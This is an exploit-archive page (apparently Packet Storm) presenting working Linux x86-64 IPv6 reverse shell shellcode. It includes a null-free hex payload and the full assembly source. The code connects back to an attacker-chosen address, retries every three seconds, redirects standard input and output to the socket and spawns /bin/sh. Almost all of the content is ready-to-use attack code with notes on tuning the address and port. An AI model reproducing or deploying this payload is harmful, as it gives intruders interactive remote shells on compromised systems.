Twenty Year Anniversary

Linux/x86-64 Reverse Shell Shellcode

Linux/x86-64 Reverse Shell Shellcode
Posted May 8, 2017
Authored by Srakai

113 bytes small Linux/x86-64 reverse shell shellcode for IPv6.

tags | shell, x86, shellcode
systems | linux
MD5 | ac5201873bbc6a9ce91386d7e9e153d6

Linux/x86-64 Reverse Shell Shellcode

Change Mirror Download
[BITS 64]

; **reverse ip6 tcp shell
; * size >= 113 bytes (depends of ip addr, default is ::1)
; * nullbytes free (depends only on ip addr,
; you could always and the ip add to remove
; the nulls like i did with the port)
; * it sleeps and then tries to recconect (default 3 seconds)
;
;shell =
;"\x6a\x0a\x5f\x6a\x01\x5e\x48\x31\xd2\x6a\x29\x58\x0f\x05\x50\x5b"
;"\x52\x48\xb9\x00\x00\x00\x00\x00\x00\x01\x51\xb9\x00\x00\x00\x00"
;"\x51\xba\xff\xff\x05\xc0\x66\x21\xfa\x52\x48\x31\xf6\x56\x6a\x03"
;"\x54\x5f\x6a\x23\x58\x0f\x05\x59\x59\x53\x5f\x54\x5e\x6a\x1c\x5a"
;"\x6a\x2a\x58\x0f\x05\x48\x85\xc0\x75\xe0\x48\x96\x6a\x03\x5e\x6a"
;"\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbf\x2f\x2f\x62\x69\x2f"
;"\x73\x68\x56\x57\x48\x31\xd2\x54\x5f\x6a\x3b\x58\x0f\x05"
;
; again, the nulls propably won't even come up with your global ip addr
; if they do, and you don't encodee the payload, you could do some
; bitwise operations
;
; made by srakai (github.com/Srakai)


AF_INET6 equ 10
SOCK_STREAM equ 1
SOCKET equ 41
CONNECT equ 42
DUP2 equ 33
EXECVE equ 59
NANOSLEEP equ 35

section .text

global _start

_start:

; socket()

push AF_INET6
pop rdi
push SOCK_STREAM
pop rsi
xor rdx, rdx
push SOCKET
pop rax
syscall

push rax
pop rbx

; create struct sockaddr_in6
push rdx ;scope id = 0
mov rcx, 0x0100000000000000 ;sin6_addr for local link use:
push rcx ;sin6_addr 0x0100000000000000
mov rcx, 0x0000000000000000 ;sin6_addr 0x0000000000000000
push rcx ;sin6_addr
mov edx, 0xc005FFFF ;sin6_flowinfo=0 , family=AF_INET6, port=1472
and dx, di ;to change port change P, 0xPPPP000A
push rdx

sleep:

xor rsi, rsi
; struct timespec
push rsi ;push 0
push 3 ;seconds to sleep

; nanosleep()
push rsp
pop rdi
push NANOSLEEP
pop rax
syscall

pop rcx ;clear stack
pop rcx

; connect()
push rbx
pop rdi
push rsp
pop rsi
push 28 ;sizeof struct
pop rdx
push CONNECT
pop rax
syscall

test rax, rax ;if (rax&rax) ==0
jnz sleep

; dup2()
xchg rsi, rax ;rsi=0
push 3
pop rsi
dup2:
push DUP2
pop rax
dec rsi
syscall
jnz dup2

; execve()
mov rdi, 0x68732f6e69622f2f
push rsi
push rdi
xor rdx, rdx
push rsp
pop rdi
push EXECVE
pop rax
syscall

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    1 Files
  • 16
    Jul 16th
    21 Files
  • 17
    Jul 17th
    15 Files
  • 18
    Jul 18th
    15 Files
  • 19
    Jul 19th
    3 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close